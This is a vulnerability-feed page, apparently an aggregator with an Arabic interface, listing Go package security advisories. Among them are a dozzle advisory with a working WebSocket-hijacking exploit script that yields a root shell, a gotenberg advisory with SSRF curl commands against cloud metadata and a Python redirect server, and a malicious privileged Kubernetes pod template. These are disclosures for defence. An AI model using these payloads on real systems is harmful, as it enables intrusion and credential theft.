🛡️ Vuln Watch
Vulnerabilities Package Scanner
🕐 آخر تحديث:
⏭️ التحديث القادم:
⏳ المتبقي: 00:00
الإجمالي: 242213
نتائج: 4149
ص: 1/83
📡 المصادر:
غير محدد
📦 github.com/safedep/gryph 📌 All versions < 0.7.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 محلي ⚪ لم تُستغل 🟢 ترقيع
💬 Gryph implements logging levels that determine what content is logged to a local sqlite database. The README incorrectly mentions that the default log level is minimal while it is standard. Source code review shows sensitive `file-write` content remains in the stored `payload` a...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

Gryph implements logging levels that determine what content is logged to a local sqlite database. The README incorrectly mentions that the default log level is minimal while it is standard. Source code review shows sensitive `file-write` content remains in the stored `payload` as `ContentPreview`, `OldString`, or `NewString` at the default `standard` logging level and at `full`. This leads to logging of potentially sensitive file content in the local sqlite database, violating Gryphs sensitive file filter and log level contracts. ### Impact Potentially sensitive data accessed or written by coding agents may be logged to local sqlite database. Users of Gryph are affected ONLY if their local sqlite database is stolen or exported to remote system with the assumption that no sensitive data is logged. ### Patches Fixed in v0.7.0

الإصدارات المتأثرة

All versions < 0.7.0

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

عالية
📦 github.com/xddxdd/bird-lg-go 📌 All versions < 0ff87024cb9e ⛓️‍💥 هجوم سلسلة التوريد ⚙️ لغة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The `apiHandler` (and similarly `webHandlerTelegramBot`) processes user-provided JSON payloads by directly using `json.NewDecoder(r.Body).Decode(&request)` without restricting the maximum read size. An unauthenticated remote attacker can stream an extremely large, end...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary The `apiHandler` (and similarly `webHandlerTelegramBot`) processes user-provided JSON payloads by directly using `json.NewDecoder(r.Body).Decode(&request)` without restricting the maximum read size. An unauthenticated remote attacker can stream an extremely large, endless JSON payload (e.g., several Gigabytes of padding) over a single TCP connection. Because Go's JSON decoder attempts to allocate memory for the entire parsed structure, this rapidly exhausts the host's physical RAM or container limits, leading to an unrecoverable `fatal error: runtime: out of memory`. This causes the Linux OOM Killer to instantly terminate the entire `bird-lg-go` daemon, resulting in a severe Remote Denial of Service (RDoS). ### Details In `api.go`: ```go func apiHandler(w http.ResponseWriter, r *http.Request) { var request apiRequest // VULNERABILITY: No http.MaxBytesReader protection before JSON decode err := json.NewDecoder(r.Body).Decode(&request) // ...

الإصدارات المتأثرة

All versions < 0ff87024cb9e

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

عالية
📦 github.com/rancher/local-path-provisioner 📌 All versions < 0.0.36 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact A malicious user with permission to edit the `local-path-config` ConfigMap in the `local-path-storage` namespace can manipulate the `helperPod.yaml` template used by `rancher/local-path-provisioner`. The `helperPod.yaml` template is loaded by the provisioner and used...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Impact A malicious user with permission to edit the `local-path-config` ConfigMap in the `local-path-storage` namespace can manipulate the `helperPod.yaml` template used by `rancher/local-path-provisioner`. The `helperPod.yaml` template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as `securityContext.privileged`, `hostPath` volumes, and Linux capabilities can be injected into the template. Example malicious HelperPod template: ~~~yaml apiVersion: v1 kind: Pod metadata: name: helper-pod spec: containers: - name: helper-pod image: docker.io/kindest/local-path-helper:v20230510-486859a6 imagePullPolicy: IfNotPresent securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory ~~~ When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. Expected Behavior: - The HelperPod template should not allow privileged containers. - The HelperPod template should not allow arbitrary `hostPath` mounts. - Security-sensitive fields in `helperPod.yaml` should be validated or rejected before the provisioner creates HelperPods. ### Patches This vulnerability is addressed by validating the HelperPod template loaded from the `local-path-config` ConfigMap before it is used to create HelperPods. The fix ensures that unsafe fields such as privileged security contexts, hostPath volumes, and other dangerous pod security settings are rejected. This prevents an attacker with ConfigMap edit permission from injecting a malicious HelperPod template that grants access to the host node. Previously, a malicious user could modify `helperPod.yaml` to cause the provisioner to create a privileged HelperPod with the host root filesystem mounted, potentially leading to node-level compromise and ServiceAccount token theft. With this fix, HelperPod templates containing unsafe security-sensitive fields are denied, and only safe HelperPod configurations are accepted. Patched versions of local-path-provisioner include releases v0.0.34 and later. No patches are provided for earlier releases, as they do not include the necessary HelperPod template validation logic. ### Workarounds Users should upgrade to a patched version of local-path-provisioner to fully mitigate this vulnerability. As a temporary mitigation, users can restrict write access to the `local-path-config` ConfigMap in the `local-path-storage` namespace. Only trusted administrators should be allowed to update this ConfigMap. Users may also mark the ConfigMap as immutable after deployment: ~~~bash kubectl -n local-path-storage patch configmap local-path-config \ --type merge -p '{"immutable": true}' ~~~ Additionally, enabling Kubernetes Pod Security Admission for the `local-path-storage` namespace can provide defense in depth. For example, enforcing the `baseline` policy can prevent privileged HelperPods from being created even if the template is modified: ~~~bash kubectl label namespace local-path-storage \ pod-security.kubernetes.io/enforce=baseline \ pod-security.kubernetes.io/warn=restricted ~~~ These mitigations reduce the risk of exploitation, but upgrading to a patched release is required to fully address the issue. ### References If you have any questions or comments about this advisory: - Contact the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries. - Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.

الإصدارات المتأثرة

All versions < 0.0.36

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

حرجة
📦 github.com/cloudnative-pg/cloudnative-pg 📌 All versions < 1.28.3 🗃️ قاعدة بيانات 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact The CloudNativePG metrics exporter opens its PostgreSQL connection as the `postgres` superuser via the pod-local Unix socket, then demotes the session with `SET ROLE pg_monitor`. `SET ROLE` changes only `current_user`; `session_user` remains `postgres`. That residual ...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Impact The CloudNativePG metrics exporter opens its PostgreSQL connection as the `postgres` superuser via the pod-local Unix socket, then demotes the session with `SET ROLE pg_monitor`. `SET ROLE` changes only `current_user`; `session_user` remains `postgres`. That residual superuser identity is the foothold for the rest of the chain. Any SQL expression evaluated inside the scrape session can invoke `RESET ROLE` to recover real superuser privileges, then use `COPY ... TO PROGRAM` to spawn an OS-level subprocess as the `postgres` user inside the primary pod. The `READ ONLY` transaction flag does not block this; it gates writes to database state, not external processes. Two exploitation paths follow from this root cause. #### Path 1: custom metric queries with unqualified identifiers (all supported releases) A database user who owns a schema on the `search_path` of any scraped database can plant a shadow object whose name matches an unqualified identifier in a custom metric query. When the exporter next evaluates that query, the shadow expression executes inside the `session_user = postgres` scrape session, giving the attacker PostgreSQL superuser privileges and OS command execution inside the primary pod within one scrape interval (≤30 s). Exploitability requires a custom metric query that contains an unqualified relation or function reference. Although `search_path` shadowing of unqualified identifiers is the most direct case, the underlying bug is that any expression evaluated inside the scrape session is a superuser code path. Other exploitable shapes include user-defined functions, operators or casts resolved during the scrape, joins or subqueries against user-owned tables and views, and index expressions or RLS policies on read-touched objects. #### Path 2: stock `default-monitoring.yaml` (all supported releases, no custom metrics required) The `pg_extensions` metric shipped in `default-monitoring.yaml` used an unqualified `current_database()` call and ran against every user database (`target_databases: '*'`). Any non-superuser who owns a user database (including the default `app` role created by `bootstrap.initdb`) could shadow `current_database()` and trigger the full escalation chain against a stock CNPG deployment on the first scrape after the shadow was planted. #### Combined impact The chain yields privilege escalation from a low-privileged database role (e.g. the default `app` role) to PostgreSQL superuser, plus arbitrary OS command execution as the `postgres` user inside the primary pod, all within one scrape interval. A web application SQL injection vulnerability in an app backed by a CNPG cluster is therefore sufficient to pivot to database-pod RCE. #### Who is impacted - All deployments on any supported release with default monitoring enabled are affected by Path 2. - All deployments on any supported release that use custom metric queries containing unqualified catalog references are affected by Path 1. - Multi-tenant platforms that allow customers to supply or influence custom metric query bodies are at the highest risk for Path 1. ### Patches Three separate patches address the vulnerability. #### Patch 1: PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" Schema-qualifies all unqualified `pg_catalog` function and view references in the shipped `default-monitoring.yaml` and in documentation examples. This closes Path 2 in operator-shipped configuration and removes the unqualified-identifier attack surface from all operator-shipped metric queries. Operators who clone or copy `default-monitoring.yaml` into custom monitoring `ConfigMap`s, or have copy-pasted unqualified queries elsewhere, must re-qualify those queries themselves. Backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) #### Patch 2: "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" Introduces a dedicated `cnpg_metrics_exporter` PostgreSQL role (granted `pg_monitor`, no superuser privileges) and maps it in `pg_ident.conf` via peer authentication on the local Unix socket, following the same pattern already used for `cnpg_pooler_pgbouncer`. The metrics exporter connects as this role instead of `postgres`, so `session_user` is never a superuser and `RESET ROLE` has no escalation effect. This eliminates the root cause entirely. Demoting the session at the SQL level (via `SET SESSION AUTHORIZATION pg_monitor`) is not sufficient: the privilege check for `SET SESSION AUTHORIZATION` is whether the *authenticated* user is a superuser, not the current `session_user`. With the connection still authenticated as `postgres`, any SQL in the session can run `RESET SESSION AUTHORIZATION` and recover the original superuser identity. This is the same recovery primitive as `RESET ROLE`, one layer up. Only changing the authenticated user closes the loop. With this change in place, the original chain breaks at every step: `RESET ROLE` and `RESET SESSION AUTHORIZATION` cannot recover superuser, and `COPY ... TO PROGRAM` requires a privilege `pg_monitor` does not grant. As defense in depth, the monitoring transaction also prepends `pg_catalog` to the connection's `search_path`, so unqualified catalog identifiers cannot resolve to user-planted shadow objects. This patch changes the connection identity but not how queries are evaluated. Custom metric queries within `pg_monitor`'s scope (catalog reads, `pg_stat_*` views, settings) continue to work without modification. Queries that previously relied on superuser-level access (reading user-owned tables not granted to `cnpg_metrics_exporter`, or superuser-only catalogs such as `pg_authid` or `pg_subscription`) will fail and need explicit `GRANT` statements to `cnpg_metrics_exporter`. The role is created and maintained with `PASSWORD NULL`; any password set out-of-band is cleared on the next reconcile, so the role cannot be authenticated by password regardless of operator pre-creation. For replica clusters, upgrade the source primary cluster before any replica clusters that consume from it. The `cnpg_metrics_exporter` role is created on the source primary and replicates downstream; a replica cluster upgraded first will scrape against a missing role until the source primary upgrades or the role is created manually (see the monitoring documentation). The patch will be backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) ### Workarounds If upgrading immediately is not possible: 1. **Schema-qualify all identifiers in custom metric queries.** Use explicit `pg_catalog.` prefixes for all catalog functions and views (e.g. `pg_catalog.current_database()`, `pg_catalog.now()`). This is a partial mitigation: it closes the `search_path`-shadowing shape in operator- and user-supplied metric bodies, but other expression shapes (user-defined functions, operators or casts; joins or subqueries on user-owned tables and views; RLS policies on read-touched objects) remain superuser code paths until Patch 2 lands. 2. **Restrict database ownership.** Ensure only fully trusted roles own user databases in scraped clusters. The exploit requires the ability to plant an object on the metrics exporter's `search_path` in a scraped database, typically by owning the database (and therefore `public` via `pg_database_owner`) or by holding `CREATE` on a schema already reachable through `search_path`. *PG <15 caveat:* `public` grants `CREATE` to `PUBLIC` by default before PostgreSQL 15, so any authenticated role in a scraped database can plant a shadow object regardless of ownership. 3. **Limit the scope of `target_databases: '*'` queries.** Avoid `target_databases: '*'` unless every database in the cluster, and every role that owns one, is fully trusted. Where possible, restrict `target_databases` to specific, known-safe databases. 4. **Do not expose metric query SQL to untrusted users.** Multi-tenant platforms that allow customers to supply or influence custom metric query bodies should treat this as a critical trust boundary until the architectural fix is released. ### References - Fix (Patch 1): PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" - Fix (Patch 2): "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" - Reported by: Mehmet Ince

الإصدارات المتأثرة

All versions < 1.28.3

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

منخفضة
📦 github.com/ellanetworks/core 📌 All versions < 1.10.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 شبكة محلية ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary Ella Core didn't enforce security rules on concurrent running of security procedures defined in TS 33.501 §6.9.5.1 — it could send a NAS Security Mode Command while an N2 handover was still pending (and vice versa). ## Impact Concurrent Security Mode Command and N2 ...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary Ella Core didn't enforce security rules on concurrent running of security procedures defined in TS 33.501 §6.9.5.1 — it could send a NAS Security Mode Command while an N2 handover was still pending (and vice versa). ## Impact Concurrent Security Mode Command and N2 handover produce a KgNB mismatch between the UE and target gNB, causing the handover to fail. Requires a stalled gNB + re-registration race to trigger. ## Fix Ella Core now enforces both rules from §6.9.5.1, blocking concurrent Security Mode Command and N2 handover procedures.

الإصدارات المتأثرة

All versions < 1.10.0

CVSS Vector

CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

غير محدد
📦 github.com/ellanetworks/core 📌 All versions < 1.10.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 شبكة محلية ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary Ella Core does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values. A malicious gNB can overwrite Ella Core's stored UE security capabilities for any UE with arbitrary values by sending a single crafted...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary Ella Core does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values. A malicious gNB can overwrite Ella Core's stored UE security capabilities for any UE with arbitrary values by sending a single crafted PathSwitchRequest. ## Impact A gNB can corrupt Ella Core's stored UE security capabilities for a target UE. ## Fix The PathSwitchRequest handler now compares the received UE Security Capabilities against Ella Core's locally stored values, preserves the stored values on mismatch, returns them in the PathSwitchRequestAcknowledge, and logs the event.

الإصدارات المتأثرة

All versions < 1.10.0

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

عالية
📦 github.com/ellanetworks/core 📌 All versions < 1.10.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 شبكة محلية ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary A radio with a valid NG Setup can send a forged PDUSessionResourceSetupResponse carrying any UE's AMF-UE-NGAP-ID. Ella Core does not verify the message arrived on the SCTP association bound to that UE's logical NG-connection, then creates a GTP tunnel towards that rad...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary A radio with a valid NG Setup can send a forged PDUSessionResourceSetupResponse carrying any UE's AMF-UE-NGAP-ID. Ella Core does not verify the message arrived on the SCTP association bound to that UE's logical NG-connection, then creates a GTP tunnel towards that radio. ## Impact Downlink user-plane traffic for the targeted UE is redirected to the attacker's radio. ## Fix UE context lookups are now scoped to the sending radio's SCTP association.

الإصدارات المتأثرة

All versions < 1.10.0

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

عالية
📦 github.com/go-git/go-git/v6 📌 6.0.0-alpha.1 → 6.0.0-alpha.3 ⛓️‍💥 هجوم سلسلة التوريد ⚙️ لغة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact `go-git` may parse malformed Git objects in a way that differs from upstream Git. When `commit` or `tag` objects contain ambiguous or malformed headers, `go-git`’s decoded representation may expose values differently from how Git itself would interpret or reject the sa...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Impact `go-git` may parse malformed Git objects in a way that differs from upstream Git. When `commit` or `tag` objects contain ambiguous or malformed headers, `go-git`’s decoded representation may expose values differently from how Git itself would interpret or reject the same object. Additionally, `go-git`’s commit signing and verification logic operates over commit data reconstructed from `go-git`’s parsed representation rather than the original raw object bytes. As a result, `go-git` may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository. This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed. ### Patches Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported `go-git` version. ### Credit Thanks to @bugbunny-research (https://bugbunny.ai/) for reporting this to `sigstore/gitsign`, and to @wlynch, @patzielinski and @adityasaky for coordinating the disclosure with the `go-git` project. :bow: :1st_place_medal: Thanks to @wayphinder for reporting this to the `go-git` project. :bow:

الإصدارات المتأثرة

6.0.0-alpha.1 → 6.0.0-alpha.3

CVSS Vector

CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

عالية
📦 github.com/amir20/dozzle 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ## Summary The WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) — **even when authentication is properly configured**. An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access. ## Root cause **1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)** ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, CheckOrigin: func(r *http.Request) bool { return true }, } ``` The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH. **2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)** ```go http.SetCookie(w, &http.Cookie{ Name: "jwt", Value: token, HttpOnly: true, Path: "/", SameSite: http.SameSiteLaxMode, Expires: expires, }) ``` `SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site. ## Attack scenario Preconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in. 1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`) 2. Victim visits the attacker's page while authenticated to Dozzle 3. Attacker's JavaScript opens `new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')` 4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it) 5. Dozzle's `CheckOrigin` returns `true` — upgrade accepted 6. Auth middleware validates the JWT from the cookie — request authenticated 7. Attacker has a shell in the victim's authorized containers ## PoC (auth enabled) **Setup — Dozzle with authentication + shell:** docker-compose.yml: ```yaml services: dozzle: image: amir20/dozzle:latest ports: - "9090:8080" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./data:/data environment: - DOZZLE_AUTH_PROVIDER=simple - DOZZLE_ENABLE_SHELL=true target: image: alpine:latest command: sh -c "while true; do sleep 3600; done" ``` data/users.yml: ```yaml users: admin: name: Admin # password: admin123 password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS" email: admin@test.local roles: shell ``` **Exploit — CSWSH with cross-origin Origin header + victim's cookie:** ```python import json, time, websocket, requests target = "http://localhost:9090" # Verify auth is enabled r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True) r.close() assert r.status_code == 401, "Auth not enabled" # Victim logs in r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"}) jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0] # Get container info (authenticated) r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10) for line in r.iter_lines(decode_unicode=True): if line and line.startswith("data: "): data = json.loads(line[6:]) if isinstance(data, list) and len(data) > 0 and "host" in data[0]: host_id = data[0]["host"] cid = data[0]["id"] break r.close() # CSWSH: cross-origin WebSocket with victim's cookie ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec" ws = websocket.create_connection( ws_url, timeout=10, cookie=f"jwt={jwt}", origin="http://localhost:8888" # DIFFERENT origin ) # Connected! CheckOrigin:true accepted the cross-origin request ws.send(json.dumps({"type": "resize", "width": 120, "height": 40})) time.sleep(1); ws.recv() ws.send(json.dumps({"type": "userinput", "data": "id\n"})) time.sleep(2) ws.settimeout(2) output = [] try: while True: output.append(ws.recv()) except: pass ws.close() print("".join(output)) # uid=0(root) gid=0(root) groups=0(root) # Verify: without cookie = rejected try: ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888") ws2.close() except Exception as e: print(f"Without cookie: {e}") # 401 Unauthorized ``` **Result:** ``` [+] Auth is ENABLED (events stream returns 401) [+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888 [+] uid=0(root) gid=0(root) groups=0(root) [+] Without cookie -> 401 Unauthorized ``` ## Impact Users who deploy Dozzle with `--enable-shell` and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to: - Execute arbitrary commands in any container the victim has access to - Read secrets, environment variables, and files inside containers - Pivot to other services accessible from the container network - Potentially escape to the Docker host if the socket is mounted writable ## Suggested fix Remove the custom `CheckOrigin` override and use the gorilla/websocket default, which rejects cross-origin requests: ```go var upgrader = websocket.Upgrader{ ReadBufferSize: 1024, WriteBufferSize: 1024, // Default CheckOrigin rejects cross-origin requests } ```

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

عالية
📦 github.com/gotenberg/gotenberg/v8 📌 All versions < 8.32.0 🌐 متصفح ⚙️ لغة V8 Engine Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conver...
📅 2026-05-11 OSV/Go 🔗 التفاصيل

الوصف الكامل

A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (`/forms/chromium/convert/url`), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to `downloadFrom` and `webhook` but is a separate finding from the initial request validation those advisories cover. ### Summary Gotenberg's Chromium URL-to-PDF endpoint (`/forms/chromium/convert/url`) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks `file://` URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF. Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows `302` redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list. What makes this particularly notable is that Gotenberg's secondary features — `downloadFrom` and `webhook` — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not. ### Details **Finding 1: Zero default SSRF protection on Chromium URL endpoint** The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in `pkg/modules/chromium/chromium.go` and the value shipped in Docker is: ``` ^file:(?!//\/tmp/).* ``` This regex only blocks `file://` URIs outside of `/tmp/`. HTTP and HTTPS requests to any host — including `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, and `169.254.169.254` — are not filtered at all. Meanwhile, the `downloadFrom` and `webhook` endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint. **Finding 2: Redirect-based SSRF bypass on all endpoints** Both `downloadFrom` and `webhook` use Go's default `http.Client{}` with no `CheckRedirect` function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination. The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target. ### PoC Tested on Docker using `gotenberg/gotenberg:8` (v8.30.1) on `localhost:3000`. No authentication is required on any endpoint. **Environment:** ``` $ curl http://localhost:3000/version 8.30.1 $ curl http://localhost:3000/health {"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}} ``` **1. Control — external URL works as expected:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://example.com' \ -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 14961 bytes $ file test.pdf test.pdf: PDF document, version 1.4, 1 page(s) ``` **2. Control — `file://` protocol is correctly blocked by default deny-list:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=file:///etc/passwd' \ -w "HTTP %{http_code}" HTTP 403 Body: Forbidden ``` **3. SSRF to localhost — NOT blocked:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://127.0.0.1:3000/health' \ -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10196 bytes ``` Chromium fetched its own `/health` endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback. **4. Cloud metadata IP — NOT blocked:** ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://169.254.169.254/latest/meta-data/' \ -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked) ``` The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF. **5. Redirect-based bypass — Chromium follows 302 to internal target:** Redirect server on the host (port 9999): ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:3000/health') self.end_headers() def do_HEAD(self): self.do_GET() HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever() ``` ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://172.17.0.1:9999/' \ -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10244 bytes $ file redir.pdf redir.pdf: PDF document, version 1.4, 1 page(s) ``` Chromium followed the 302 redirect from `http://172.17.0.1:9999/` (external, passes any deny-list) to `http://127.0.0.1:3000/health` (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination. The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only `file://` URIs were blocked by the default deny-list. The redirect from an external server to `127.0.0.1` was also followed without any check on the redirect target. ### Impact Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access. Practical attack scenarios: - **Cloud credential theft**: Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints. - **Internal service access**: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards. - **Internal port scanning**: Use response timing and content differences to map internal infrastructure. - **Deny-list bypass via redirect**: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at `https://attacker.com/r` that responds with `302 → http://169.254.169.254/latest/meta-data/`. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF. The redirect bypass also affects the `downloadFrom` and `webhook` endpoints, which use Go's `http.Client{}` with no `CheckRedirect` function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop. ---

الإصدارات المتأثرة

All versions < 8.32.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

حرجة
📦 github.com/free5gc/nef 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
